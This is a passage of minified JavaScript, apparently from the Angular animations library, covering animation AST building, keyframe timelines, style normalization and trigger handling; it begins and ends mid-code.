t.visitAnimate(e,n);case 5:return t.visitKeyframes(e,n);case 6:return t.visitStyle(e,n);case 8:return t.visitReference(e,n);case 9:return t.visitAnimateChild(e,n);case 10:return t.visitAnimateRef(e,n);case 11:return t.visitQuery(e,n);case 12:return t.visitStagger(e,n);default:throw new Error(`Unable to resolve animation metadata node #${e.type}`)}}function tt(t,e){return window.getComputedStyle(t)[e]}function et(t,e){const n=[];return"string"==typeof t?t.split(/\s*,\s*/).forEach(t=>function(t,e,n){if(":"==t[0]){const i=function(t,e){switch(t){case":enter":return"void => *";case":leave":return"* => void";case":increment":return(t,e)=>parseFloat(e)>parseFloat(t);case":decrement":return(t,e)=>parseFloat(e)<parseFloat(t);default:return e.push(`The transition alias value "${t}" is not supported`),"* => *"}}(t,n);if("function"==typeof i)return void e.push(i);t=i}const i=t.match(/^(\*|[-\w]+)\s*(<?[=-]>)\s*(\*|[-\w]+)$/);if(null==i||i.length<4)return n.push(`The provided transition expression "${t}" is not supported`),e;const s=i[1],r=i[2],o=i[3];e.push(st(s,o));"<"==r[0]&&!("*"==s&&"*"==o)&&e.push(st(o,s))}(t,n,e)):n.push(t),n}const nt=new Set(["true","1"]),it=new Set(["false","0"]);function st(t,e){const n=nt.has(t)||it.has(t),i=nt.has(e)||it.has(e);return(s,r)=>{let o="*"==t||t==s,a="*"==e||e==r;return!o&&n&&"boolean"==typeof s&&(o=s?nt.has(t):it.has(t)),!a&&i&&"boolean"==typeof r&&(a=r?nt.has(e):it.has(e)),o&&a}}const rt=new RegExp("s*:selfs*,?","g");function ot(t,e,n){return new at(t).build(e,n)}class at{constructor(t){this._driver=t}build(t,e){const n=new ct(e);return this._resetContextStyleTimingState(n),X(this,G(t),n)}_resetContextStyleTimingState(t){t.currentQuerySelector="",t.collectedStyles={},t.collectedStyles[""]={},t.currentTime=0}visitTrigger(t,e){let n=e.queryCount=0,i=e.depCount=0;const s=[],r=[];return"@"==t.name.charAt(0)&&e.errors.push("animation triggers cannot be prefixed with an `@` sign (e.g. trigger('@foo', [...]))"),t.definitions.forEach(t=>{if(this._resetContextStyleTimingState(e),0==t.type){const n=t,i=n.name;i.toString().split(/\s*,\s*/).forEach(t=>{n.name=t,s.push(this.visitState(n,e))}),n.name=i}else if(1==t.type){const s=this.visitTransition(t,e);n+=s.queryCount,i+=s.depCount,r.push(s)}else e.errors.push("only state() and transition() definitions can sit inside of a trigger()")}),{type:7,name:t.name,states:s,transitions:r,queryCount:n,depCount:i,options:null}}visitState(t,e){const n=this.visitStyle(t.styles,e),i=t.options&&t.options.params||null;if(n.containsDynamicStyles){const s=new Set,r=i||{};if(n.styles.forEach(t=>{if(lt(t)){const e=t;Object.keys(e).forEach(t=>{q(e[t]).forEach(t=>{r.hasOwnProperty(t)||s.add(t)})})}}),s.size){const n=z(s.values());e.errors.push(`state("${t.name}", ...) must define default values for all the following style substitutions: ${n.join(", ")}`)}}return{type:0,name:t.name,style:n,options:i?{params:i}:null}}visitTransition(t,e){e.queryCount=0,e.depCount=0;const n=X(this,G(t.animation),e);return{type:1,matchers:et(t.expr,e.errors),animation:n,queryCount:e.queryCount,depCount:e.depCount,options:ut(t.options)}}visitSequence(t,e){return{type:2,steps:t.steps.map(t=>X(this,t,e)),options:ut(t.options)}}visitGroup(t,e){const n=e.currentTime;let i=0;const s=t.steps.map(t=>{e.currentTime=n;const s=X(this,t,e);return i=Math.max(i,e.currentTime),s});return e.currentTime=i,{type:3,steps:s,options:ut(t.options)}}visitAnimate(t,e){const n=function(t,e){let n=null;if(t.hasOwnProperty("duration"))n=t;else if("number"==typeof t)return ht(M(t,e).duration,0,"");const i=t;if(i.split(/\s+/).some(t=>"{"==t.charAt(0)&&"{"==t.charAt(1))){const t=ht(0,0,"");return t.dynamic=!0,t.strValue=i,t}return n=n||M(i,e),ht(n.duration,n.delay,n.easing)}(t.timings,e.errors);e.currentAnimateTimings=n;let i,s=t.styles?t.styles:(0,r.oB)({});if(5==s.type)i=this.visitKeyframes(s,e);else{let s=t.styles,o=!1;if(!s){o=!0;const t={};n.easing&&(t.easing=n.easing),s=(0,r.oB)(t)}e.currentTime+=n.duration+n.delay;const a=this.visitStyle(s,e);a.isEmptyStep=o,i=a}return e.currentAnimateTimings=null,{type:4,timings:n,style:i,options:null}}visitStyle(t,e){const n=this._makeStyleAst(t,e);return this._validateStyleAst(n,e),n}_makeStyleAst(t,e){const n=[];Array.isArray(t.styles)?t.styles.forEach(t=>{"string"==typeof t?t==r.l3?n.push(t):e.errors.push(`The provided style string value ${t} is not allowed.`):n.push(t)}):n.push(t.styles);let i=!1,s=null;return n.forEach(t=>{if(lt(t)){const e=t,n=e.easing;if(n&&(s=n,delete e.easing),!i)for(let t in e)if(e[t].toString().indexOf("{{")>=0){i=!0;break}}}),{type:6,styles:n,easing:s,offset:t.offset,containsDynamicStyles:i,options:null}}_validateStyleAst(t,e){const n=e.currentAnimateTimings;let i=e.currentTime,s=e.currentTime;n&&s>0&&(s-=n.duration+n.delay),t.styles.forEach(t=>{"string"!=typeof t&&Object.keys(t).forEach(n=>{if(!this._driver.validateStyleProperty(n))return void e.errors.push(`The provided animation property "${n}" is not a supported CSS property for animations`);const r=e.collectedStyles[e.currentQuerySelector],o=r[n];let a=!0;o&&(s!=i&&s>=o.startTime&&i<=o.endTime&&(e.errors.push(`The CSS property "${n}" that exists between the times of "${o.startTime}ms" and "${o.endTime}ms" is also being animated in a parallel animation between the times of "${s}ms" and "${i}ms"`),a=!1),s=o.startTime),a&&(r[n]={startTime:s,endTime:i}),e.options&&function(t,e,n){const i=e.params||{},s=q(t);s.length&&s.forEach(t=>{i.hasOwnProperty(t)||n.push(`Unable to resolve the local animation param ${t} in the given list of values`)})}(t[n],e.options,e.errors)})})}visitKeyframes(t,e){const n={type:5,styles:[],options:null};if(!e.currentAnimateTimings)return e.errors.push("keyframes() must be placed inside of a call to animate()"),n;let i=0;const s=[];let r=!1,o=!1,a=0;const c=t.steps.map(t=>{const n=this._makeStyleAst(t,e);let c=null!=n.offset?n.offset:function(t){if("string"==typeof t)return null;let e=null;if(Array.isArray(t))t.forEach(t=>{if(lt(t)&&t.hasOwnProperty("offset")){const n=t;e=parseFloat(n.offset),delete n.offset}});else if(lt(t)&&t.hasOwnProperty("offset")){const n=t;e=parseFloat(n.offset),delete n.offset}return e}(n.styles),l=0;return null!=c&&(i++,l=n.offset=c),o=o||l<0||l>1,r=r||l<a,a=l,s.push(l),n});o&&e.errors.push("Please ensure that all keyframe offsets are between 0 and 1"),r&&e.errors.push("Please ensure that all keyframe offsets are in order");const l=t.steps.length;let u=0;i>0&&i<l?e.errors.push("Not all style() steps within the declared keyframes() contain offsets"):0==i&&(u=1/(l-1));const h=l-1,d=e.currentTime,p=e.currentAnimateTimings,f=p.duration;return c.forEach((t,i)=>{const r=u>0?i==h?1:u*i:s[i],o=r*f;e.currentTime=d+p.delay+o,p.duration=o,this._validateStyleAst(t,e),t.offset=r,n.styles.push(t)}),n}visitReference(t,e){return{type:8,animation:X(this,G(t.animation),e),options:ut(t.options)}}visitAnimateChild(t,e){return e.depCount++,{type:9,options:ut(t.options)}}visitAnimateRef(t,e){return{type:10,animation:this.visitReference(t.animation,e),options:ut(t.options)}}visitQuery(t,e){const n=e.currentQuerySelector,i=t.options||{};e.queryCount++,e.currentQuery=t;const[s,r]=function(t){const e=!!t.split(/\s*,\s*/).find(t=>":self"==t);return e&&(t=t.replace(rt,"")),[t=t.replace(/@\*/g,R).replace(/@\w+/g,t=>R+"-"+t.substr(1)).replace(/:animating/g,N),e]}(t.selector);e.currentQuerySelector=n.length?n+" "+s:s,p(e.collectedStyles,e.currentQuerySelector,{});const o=X(this,G(t.animation),e);return e.currentQuery=null,e.currentQuerySelector=n,{type:11,selector:s,limit:i.limit||0,optional:!!i.optional,includeSelf:r,animation:o,originalSelector:t.selector,options:ut(t.options)}}visitStagger(t,e){e.currentQuery||e.errors.push("stagger() can only be used inside of query()");const n="full"===t.timings?{duration:0,delay:0,easing:"full"}:M(t.timings,e.errors,!0);return{type:12,animation:X(this,G(t.animation),e),timings:n,options:null}}}class ct{constructor(t){this.errors=t,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles={},this.options=null}}function lt(t){return!Array.isArray(t)&&"object"==typeof t}function ut(t){return t?(t=F(t)).params&&(t.params=function(t){return t?F(t):null}(t.params)):t={},t}function ht(t,e,n){return{duration:t,delay:e,easing:n}}function dt(t,e,n,i,s,r,o=null,a=!1){return{type:1,element:t,keyframes:e,preStyleProps:n,postStyleProps:i,duration:s,delay:r,totalTime:s+r,easing:o,subTimeline:a}}class pt{constructor(){this._map=new Map}consume(t){let e=this._map.get(t);return e?this._map.delete(t):e=[],e}append(t,e){let n=this._map.get(t);n||this._map.set(t,n=[]),n.push(...e)}has(t){return this._map.has(t)}clear(){this._map.clear()}}const ft=new RegExp(":enter","g"),mt=new RegExp(":leave","g");function gt(t,e,n,i,s,r={},o={},a,c,l=[]){return(new _t).buildKeyframes(t,e,n,i,s,r,o,a,c,l)}class _t{buildKeyframes(t,e,n,i,s,r,o,a,c,l=[]){c=c||new pt;const u=new bt(t,e,c,i,s,l,[]);u.options=a,u.currentTimeline.setStyles([r],null,u.errors,a),X(this,n,u);const h=u.timelines.filter(t=>t.containsAnimation());if(h.length&&Object.keys(o).length){const t=h[h.length-1];t.allowOnlyTimelineStyles()||t.setStyles([o],null,u.errors,a)}return h.length?h.map(t=>t.buildKeyframes()):[dt(e,[],[],[],0,0,"",!1)]}visitTrigger(t,e){}visitState(t,e){}visitTransition(t,e){}visitAnimateChild(t,e){const n=e.subInstructions.consume(e.element);if(n){const i=e.createSubContext(t.options),s=e.currentTimeline.currentTime,r=this._visitSubInstructions(n,i,i.options);s!=r&&e.transformIntoNewTimeline(r)}e.previousNode=t}visitAnimateRef(t,e){const n=e.createSubContext(t.options);n.transformIntoNewTimeline(),this.visitReference(t.animation,n),e.transformIntoNewTimeline(n.currentTimeline.currentTime),e.previousNode=t}_visitSubInstructions(t,e,n){let i=e.currentTimeline.currentTime;const s=null!=n.duration?D(n.duration):null,r=null!=n.delay?D(n.delay):null;return 0!==s&&t.forEach(t=>{const n=e.appendInstructionToTimeline(t,s,r);i=Math.max(i,n.duration+n.delay)}),i}visitReference(t,e){e.updateOptions(t.options,!0),X(this,t.animation,e),e.previousNode=t}visitSequence(t,e){const n=e.subContextCount;let i=e;const s=t.options;if(s&&(s.params||s.delay)&&(i=e.createSubContext(s),i.transformIntoNewTimeline(),null!=s.delay)){6==i.previousNode.type&&(i.currentTimeline.snapshotCurrentStyles(),i.previousNode=vt);const t=D(s.delay);i.delayNextStep(t)}t.steps.length&&(t.steps.forEach(t=>X(this,t,i)),i.currentTimeline.applyStylesToKeyframe(),i.subContextCount>n&&i.transformIntoNewTimeline()),e.previousNode=t}visitGroup(t,e){const n=[];let i=e.currentTimeline.currentTime;const s=t.options&&t.options.delay?D(t.options.delay):0;t.steps.forEach(r=>{const o=e.createSubContext(t.options);s&&o.delayNextStep(s),X(this,r,o),i=Math.max(i,o.currentTimeline.currentTime),n.push(o.currentTimeline)}),n.forEach(t=>e.currentTimeline.mergeTimelineCollectedStyles(t)),e.transformIntoNewTimeline(i),e.previousNode=t}_visitTiming(t,e){if(t.dynamic){const n=t.strValue;return M(e.params?$(n,e.params,e.errors):n,e.errors)}return{duration:t.duration,delay:t.delay,easing:t.easing}}visitAnimate(t,e){const n=e.currentAnimateTimings=this._visitTiming(t.timings,e),i=e.currentTimeline;n.delay&&(e.incrementTime(n.delay),i.snapshotCurrentStyles());const s=t.style;5==s.type?this.visitKeyframes(s,e):(e.incrementTime(n.duration),this.visitStyle(s,e),i.applyStylesToKeyframe()),e.currentAnimateTimings=null,e.previousNode=t}visitStyle(t,e){const n=e.currentTimeline,i=e.currentAnimateTimings;!i&&n.getCurrentStyleProperties().length&&n.forwardFrame();const s=i&&i.easing||t.easing;t.isEmptyStep?n.applyEmptyStep(s):n.setStyles(t.styles,s,e.errors,e.options),e.previousNode=t}visitKeyframes(t,e){const n=e.currentAnimateTimings,i=e.currentTimeline.duration,s=n.duration,r=e.createSubContext().currentTimeline;r.easing=n.easing,t.styles.forEach(t=>{r.forwardTime((t.offset||0)*s),r.setStyles(t.styles,t.easing,e.errors,e.options),r.applyStylesToKeyframe()}),e.currentTimeline.mergeTimelineCollectedStyles(r),e.transformIntoNewTimeline(i+s),e.previousNode=t}visitQuery(t,e){const n=e.currentTimeline.currentTime,i=t.options||{},s=i.delay?D(i.delay):0;s&&(6===e.previousNode.type||0==n&&e.currentTimeline.getCurrentStyleProperties().length)&&(e.currentTimeline.snapshotCurrentStyles(),e.previousNode=vt);let r=n;const o=e.invokeQuery(t.selector,t.originalSelector,t.limit,t.includeSelf,!!i.optional,e.errors);e.currentQueryTotal=o.length;let a=null;o.forEach((n,i)=>{e.currentQueryIndex=i;const o=e.createSubContext(t.options,n);s&&o.delayNextStep(s),n===e.element&&(a=o.currentTimeline),X(this,t.animation,o),o.currentTimeline.applyStylesToKeyframe(),r=Math.max(r,o.currentTimeline.currentTime)}),e.currentQueryIndex=0,e.currentQueryTotal=0,e.transformIntoNewTimeline(r),a&&(e.currentTimeline.mergeTimelineCollectedStyles(a),e.currentTimeline.snapshotCurrentStyles()),e.previousNode=t}visitStagger(t,e){const n=e.parentContext,i=e.currentTimeline,s=t.timings,r=Math.abs(s.duration),o=r*(e.currentQueryTotal-1);let a=r*e.currentQueryIndex;switch(s.duration<0?"reverse":s.easing){case"reverse":a=o-a;break;case"full":a=n.currentStaggerTime}const c=e.currentTimeline;a&&c.delayNextStep(a);const l=c.currentTime;X(this,t.animation,e),e.previousNode=t,n.currentStaggerTime=i.currentTime-l+(i.startTime-n.currentTimeline.startTime)}}const vt={};class bt{constructor(t,e,n,i,s,r,o,a){this._driver=t,this.element=e,this.subInstructions=n,this._enterClassName=i,this._leaveClassName=s,this.errors=r,this.timelines=o,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=vt,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=a||new yt(this._driver,e,0),o.push(this.currentTimeline)}get params(){return this.options.params}updateOptions(t,e){if(!t)return;const n=t;let i=this.options;null!=n.duration&&(i.duration=D(n.duration)),null!=n.delay&&(i.delay=D(n.delay));const s=n.params;if(s){let t=i.params;t||(t=this.options.params={}),Object.keys(s).forEach(n=>{(!e||!t.hasOwnProperty(n))&&(t[n]=$(s[n],t,this.errors))})}}_copyOptions(){const t={};if(this.options){const e=this.options.params;if(e){const n=t.params={};Object.keys(e).forEach(t=>{n[t]=e[t]})}}return t}createSubContext(t=null,e,n){const i=e||this.element,s=new bt(this._driver,i,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(i,n||0));return s.previousNode=this.previousNode,s.currentAnimateTimings=this.currentAnimateTimings,s.options=this._copyOptions(),s.updateOptions(t),s.currentQueryIndex=this.currentQueryIndex,s.currentQueryTotal=this.currentQueryTotal,s.parentContext=this,this.subContextCount++,s}transformIntoNewTimeline(t){return this.previousNode=vt,this.currentTimeline=this.currentTimeline.fork(this.element,t),this.timelines.push(this.currentTimeline),this.currentTimeline}appendInstructionToTimeline(t,e,n){const i={duration:null!=e?e:t.duration,delay:this.currentTimeline.currentTime+(null!=n?n:0)+t.delay,easing:""},s=new wt(this._driver,t.element,t.keyframes,t.preStyleProps,t.postStyleProps,i,t.stretchStartingKeyframe);return this.timelines.push(s),i}incrementTime(t){this.currentTimeline.forwardTime(this.currentTimeline.duration+t)}delayNextStep(t){t>0&&this.currentTimeline.delayNextStep(t)}invokeQuery(t,e,n,i,s,r){let o=[];if(i&&o.push(this.element),t.length>0){t=(t=t.replace(ft,"."+this._enterClassName)).replace(mt,"."+this._leaveClassName);let e=this._driver.query(this.element,t,1!=n);0!==n&&(e=n<0?e.slice(e.length+n,e.length):e.slice(0,n)),o.push(...e)}return!s&&0==o.length&&r.push(`\`query("${e}")\` returned zero elements. (Use \`query("${e}", { optional: true })\` if you wish to allow this.)`),o}}class yt{constructor(t,e,n,i){this._driver=t,this.element=e,this.startTime=n,this._elementTimelineStylesLookup=i,this.duration=0,this._previousKeyframe={},this._currentKeyframe={},this._keyframes=new Map,this._styleSummary={},this._pendingStyles={},this._backFill={},this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._localTimelineStyles=Object.create(this._backFill,{}),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(e),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(e,this._localTimelineStyles)),this._loadKeyframe()}containsAnimation(){switch(this._keyframes.size){case 0:return!1;case 1:return this.getCurrentStyleProperties().length>0;default:return!0}}getCurrentStyleProperties(){return Object.keys(this._currentKeyframe)}get currentTime(){return this.startTime+this.duration}delayNextStep(t){const e=1==this._keyframes.size&&Object.keys(this._pendingStyles).length;this.duration||e?(this.forwardTime(this.currentTime+t),e&&this.snapshotCurrentStyles()):this.startTime+=t}fork(t,e){return this.applyStylesToKeyframe(),new yt(this._driver,t,e||this.currentTime,this._elementTimelineStylesLookup)}_loadKeyframe(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=Object.create(this._backFill,{}),this._keyframes.set(this.duration,this._currentKeyframe))}forwardFrame(){this.duration+=1,this._loadKeyframe()}forwardTime(t){this.applyStylesToKeyframe(),this.duration=t,this._loadKeyframe()}_updateStyle(t,e){this._localTimelineStyles[t]=e,this._globalTimelineStyles[t]=e,this._styleSummary[t]={time:this.currentTime,value:e}}allowOnlyTimelineStyles(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}applyEmptyStep(t){t&&(this._previousKeyframe.easing=t),Object.keys(this._globalTimelineStyles).forEach(t=>{this._backFill[t]=this._globalTimelineStyles[t]||r.l3,this._currentKeyframe[t]=r.l3}),this._currentEmptyStepKeyframe=this._currentKeyframe}setStyles(t,e,n,i){e&&(this._previousKeyframe.easing=e);const s=i&&i.params||{},o=function(t,e){const n={};let i;return t.forEach(t=>{"*"===t?(i=i||Object.keys(e),i.forEach(t=>{n[t]=r.l3})):U(t,!1,n)}),n}(t,this._globalTimelineStyles);Object.keys(o).forEach(t=>{const e=$(o[t],s,n);this._pendingStyles[t]=e,this._localTimelineStyles.hasOwnProperty(t)||(this._backFill[t]=this._globalTimelineStyles.hasOwnProperty(t)?this._globalTimelineStyles[t]:r.l3),this._updateStyle(t,e)})}applyStylesToKeyframe(){const t=this._pendingStyles,e=Object.keys(t);0!=e.length&&(this._pendingStyles={},e.forEach(e=>{this._currentKeyframe[e]=t[e]}),Object.keys(this._localTimelineStyles).forEach(t=>{this._currentKeyframe.hasOwnProperty(t)||(this._currentKeyframe[t]=this._localTimelineStyles[t])}))}snapshotCurrentStyles(){Object.keys(this._localTimelineStyles).forEach(t=>{const e=this._localTimelineStyles[t];this._pendingStyles[t]=e,this._updateStyle(t,e)})}getFinalKeyframe(){return this._keyframes.get(this.duration)}get properties(){const t=[];for(let e in this._currentKeyframe)t.push(e);return t}mergeTimelineCollectedStyles(t){Object.keys(t._styleSummary).forEach(e=>{const n=this._styleSummary[e],i=t._styleSummary[e];(!n||i.time>n.time)&&this._updateStyle(e,i.value)})}buildKeyframes(){this.applyStylesToKeyframe();const t=new Set,e=new Set,n=1===this._keyframes.size&&0===this.duration;let i=[];this._keyframes.forEach((s,o)=>{const a=U(s,!0);Object.keys(a).forEach(n=>{const i=a[n];i==r.k1?t.add(n):i==r.l3&&e.add(n)}),n||(a.offset=o/this.duration),i.push(a)});const s=t.size?z(t.values()):[],o=e.size?z(e.values()):[];if(n){const t=i[0],e=F(t);t.offset=0,e.offset=1,i=[t,e]}return dt(this.element,i,s,o,this.duration,this.startTime,this.easing,!1)}}class wt extends yt{constructor(t,e,n,i,s,r,o=!1){super(t,e,r.delay),this.keyframes=n,this.preStyleProps=i,this.postStyleProps=s,this._stretchStartingKeyframe=o,this.timings={duration:r.duration,delay:r.delay,easing:r.easing}}containsAnimation(){return this.keyframes.length>1}buildKeyframes(){let t=this.keyframes,{delay:e,duration:n,easing:i}=this.timings;if(this._stretchStartingKeyframe&&e){const s=[],r=n+e,o=e/r,a=U(t[0],!1);a.offset=0,s.push(a);const c=U(t[0],!1);c.offset=xt(o),s.push(c);const l=t.length-1;for(let i=1;i<=l;i++){let o=U(t[i],!1);o.offset=xt((e+o.offset*n)/r),s.push(o)}n=r,e=0,i="",t=s}return dt(this.element,t,this.preStyleProps,this.postStyleProps,n,e,i,!0)}}function xt(t,e=3){const n=Math.pow(10,e-1);return Math.round(t*n)/n}class Ct{}class St extends Ct{normalizePropertyName(t,e){return W(t)}normalizeStyleValue(t,e,n,i){let s="";const r=n.toString().trim();if(Et[e]&&0!==n&&"0"!==n)if("number"==typeof n)s="px";else{const e=n.match(/^[+-]?[\d\.]+([a-z]*)$/);e&&0==e[1].length&&i.push(`Please provide a CSS unit value for ${t}:${n}`)}return r+s}}const Et=(()=>function(t){const e={};return t.forEach(t=>e[t]=!0),e}("width,height,minWidth,minHeight,maxWidth,maxHeight,left,top,bottom,right,fontSize,outlineWidth,outlineOffset,paddingTop,paddingLeft,paddingBottom,paddingRight,marginTop,marginLeft,marginBottom,marginRight,borderRadius,borderWidth,borderTopWidth,borderLeftWidth,borderRightWidth,borderBottomWidth,textIndent,perspective".split(",")))();function kt(t,e,n,i,s,r,o,a,c,l,u,h,d){return{type:0,element:t,triggerName:e,isRemovalTransition:s,fromState:n,fromStyles:r,toState:i,toStyles:o,timelines:a,queriedElements:c,preStyleProps:l,postStyleProps:u,totalTime:h,errors:d}}const Tt={};class At{constructor(t,e,n){this._triggerName=t,this.ast=e,this._stateStyles=n}match(t,e,n,i){return function(t,e,n,i,s){return t.some(t=>t(e,n,i,s))}(this.ast.matchers,t,e,n,i)}buildStyles(t,e,n){const i=this._stateStyles["*"],s=this._stateStyles[t],r=i?i.buildStyles(e,n):{};return s?s.buildStyles(e,n):r}build(t,e,n,i,s,r,o,a,c,l){const u=[],h=this.ast.options&&this.ast.options.params||Tt,d=this.buildStyles(n,o&&o.params||Tt,u),f=a&&a.params||Tt,m=this.buildStyles(i,f,u),g=new Set,_=new Map,v=new Map,b="void"===i,y={params:Object.assign(Object.assign({},h),f)},w=l?[]:gt(t,e,this.ast.animation,s,r,d,m,y,c,u);let x=0;if(w.forEach(t=>{x=Math.max(t.duration+t.delay,x)}),u.length)return kt(e,this._triggerName,n,i,b,d,m,[],[],_,v,x,u);w.forEach(t=>{const n=t.element,i=p(_,n,{});t.preStyleProps.forEach(t=>i[t]=!0);const s=p(v,n,{});t.postStyleProps.forEach(t=>s[t]=!0),n!==e&&g.add(n)});const C=z(g.values());return kt(e,this._triggerName,n,i,b,d,m,w,C,_,v,x)}}class It{constructor(t,e,n){this.styles=t,this.defaultParams=e,this.normalizer=n}buildStyles(t,e){const n={},i=F(this.defaultParams);return Object.keys(t).forEach(e=>{const n=t[e];null!=n&&(i[e]=n)}),this.styles.styles.forEach(t=>{if("string"!=typeof t){const s=t;Object.keys(s).forEach(t=>{let r=s[t];r.length>1&&(r=$(r,i,e));const o=this.normalizer.normalizePropertyName(t,e);r=this.normalizer.normalizeStyleValue(t,o,r,e),n[o]=r})}}),n}}class Ot{constructor(t,e,n){this.name=t,this.ast=e,this._normalizer=n,this.transitionFactories=[],this.states={},e.states.forEach(t=>{this.states[t.name]=new It(t.style,t.options&&t.options.params||{},n)}),Rt(this.states,"true","1"),Rt(this.states,"false","0"),e.transitions.forEach(e=>{this.transitionFactories.push(new At(t,e,this.states))}),this.fallbackTransition=function(t,e,n){return new At(t,{type:1,animation:{type:2,steps:[],options:null},matchers:[(t,e)=>!0],options:null,queryCount:0,depCount:0},e)}(t,this.states)}get containsQueries(){return this.ast.queryCount>0}matchTransition(t,e,n,i){return this.transitionFactories.find(s=>s.match(t,e,n,i))||null}matchStyles(t,e,n){return this.fallbackTransition.buildStyles(t,e,n)}}function Rt(t,e,n){t.hasOwnProperty(e)?t.hasOwnProperty(n)||(t[n]=t[e]):t.hasOwnProperty(n)&&(t[e]=t[n])}const Pt=new pt;class Nt{constructor(t,e,n){this.bodyNode=t,this._driver=e,this._normalizer=n,this._animations={},this._playersById={},this.players=[]}register(t,e){const n=[],i=ot(this._driver,e,n);if(n.length)throw new Error(`Unable to build the animation due to the following errors: ${n.join("\n")}`);this._animations[t]=i}_buildPlayer(t,e,n){const i=t.element,s=l(0,this._normalizer,0,t.keyframes,e,n);return this._driver.animate(i,s,t.duration,t.delay,t.easing,[],!0)}create(t,e,n={}){const i=[],s=this._animations[t];let o;const a=new Map;if(s?(o=gt(this._driver,e,s,A,I,{},{},n,Pt,i),o.forEach(t=>{const e=p(a,t.element,{});t.postStyleProps.forEach(t=>e[t]=null)})):(i.push("The requested animation doesn't exist or has already been destroyed"),o=[]),i.length)throw new Error(`Unable to create the animation due to the following errors: ${i.join("\n")}`);a.forEach((t,e)=>{Object.keys(t).forEach(n=>{t[n]=this._driver.computeStyle(e,n,r.l3)})});const l=c(o.map(t=>{const e=a.get(t.element);return this._buildPlayer(t,{},e)}));return this._playersById[t]=l,l.onDestroy(()=>this.destroy(t)),this.players.push(l),l}destroy(t){const e=this._getPlayer(t);e.destroy(),delete this._playersById[t];const n=this.players.indexOf(e);n>=0&&this.players.splice(n,1)}_getPlayer(t){const e=this._playersById[t];if(!e)throw new Error(`Unable to find the timeline player referenced by ${t}`);return e}listen(t,e,n,i){const s=d(e,"","","");return u(this._getPlayer(t),n,s,i),()=>{}}command(t,e,n,i){if("register"==n)return void this.register(t,i[0]);if("create"==n)return void this.create(t,e,i[0]||{});const s=this._getPlayer(t);switch(n){case"play":s.play();break;case"pause":s.pause();break;case"reset":s.reset();break;case"restart":s.restart();break;case"finish":s.finish();break;case"init":s.init();break;case"setPosition":s.setPosition(parseFloat(i[0]));break;case"destroy":this.destroy(t)}}}const Dt="ng-animate-queued",Lt="ng-animate-disabled",Mt=".ng-animate-disabled",Ft=[],Ut={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},Bt={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},jt="__ng_removed";class Ht{constructor(t,e=""){this.namespaceId=e;const n=t&&t.hasOwnProperty("value");if(this.value=null!=(i=n?t.value:t)?i:null,n){const e=F(t);delete e.value,this.options=e}else this.options={};var i;this.options.params||(this.options.params={})}get params(){return this.options.params}absorbOptions(t){const e=t.params;if(e){const t=this.options.params;Object.keys(e).forEach(n=>{null==t[n]&&(t[n]=e[n])})}}}const Vt="void",Gt=new Ht(Vt);class Yt{constructor(t,e,n){this.id=t,this.hostElement=e,this._engine=n,this.players=[],this._triggers={},this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+t,Kt(e,this._hostClassName)}listen(t,e,n,i){if(!this._triggers.hasOwnProperty(e))throw new Error(`Unable to listen on the animation trigger event "${n}" because the animation trigger "${e}" doesn't exist!`);if(null==n||0==n.length)throw new Error(`Unable to listen on the animation trigger "${e}" because the provided event is undefined!`);if("start"!=(s=n)&&"done"!=s)throw new Error(`The provided animation trigger event "${n}" for the animation trigger "${e}" is not supported!`);var s;const r=p(this._elementListeners,t,[]),o={name:e,phase:n,callback:i};r.push(o);const a=p(this._engine.statesByElement,t,{});return a.hasOwnProperty(e)||(Kt(t,O),Kt(t,O+"-"+e),a[e]=Gt),()=>{this._engine.afterFlush(()=>{const t=r.indexOf(o);t>=0&&r.splice(t,1),this._triggers[e]||delete a[e]})}}register(t,e){return!this._triggers[t]&&(this._triggers[t]=e,!0)}_getTrigger(t){const e=this._triggers[t];if(!e)throw new Error(`The provided animation trigger "${t}" has not been registered!`);return e}trigger(t,e,n,i=!0){const s=this._getTrigger(e),r=new $t(this.id,e,t);let o=this._engine.statesByElement.get(t);o||(Kt(t,O),Kt(t,O+"-"+e),this._engine.statesByElement.set(t,o={}));let a=o[e];const c=new Ht(n,this.id);if(!(n&&n.hasOwnProperty("value"))&&a&&c.absorbOptions(a.options),o[e]=c,a||(a=Gt),c.value!==Vt&&a.value===c.value){if(!function(t,e){const n=Object.keys(t),i=Object.keys(e);if(n.length!=i.length)return!1;for(let s=0;s<n.length;s++){const i=n[s];if(!e.hasOwnProperty(i)||t[i]!==e[i])return!1}return!0}(a.params,c.params)){const e=[],n=s.matchStyles(a.value,a.params,e),i=s.matchStyles(c.value,c.params,e);e.length?this._engine.reportError(e):this._engine.afterFlush(()=>{V(t,n),H(t,i)})}return}const l=p(this._engine.playersByElement,t,[]);l.forEach(t=>{t.namespaceId==this.id&&t.triggerName==e&&t.queued&&t.destroy()});let u=s.matchTransition(a.value,c.value,t,c.params),h=!1;if(!u){if(!i)return;u=s.fallbackTransition,h=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:t,triggerName:e,transition:u,fromState:a,toState:c,player:r,isFallbackTransition:h}),h||(Kt(t,Dt),r.onStart(()=>{Xt(t,Dt)})),r.onDone(()=>{let e=this.players.indexOf(r);e>=0&&this.players.splice(e,1);const n=this._engine.playersByElement.get(t);if(n){let t=n.indexOf(r);t>=0&&n.splice(t,1)}}),this.players.push(r),l.push(r),r}deregister(t){delete this._triggers[t],this._engine.statesByElement.forEach((e,n)=>{delete 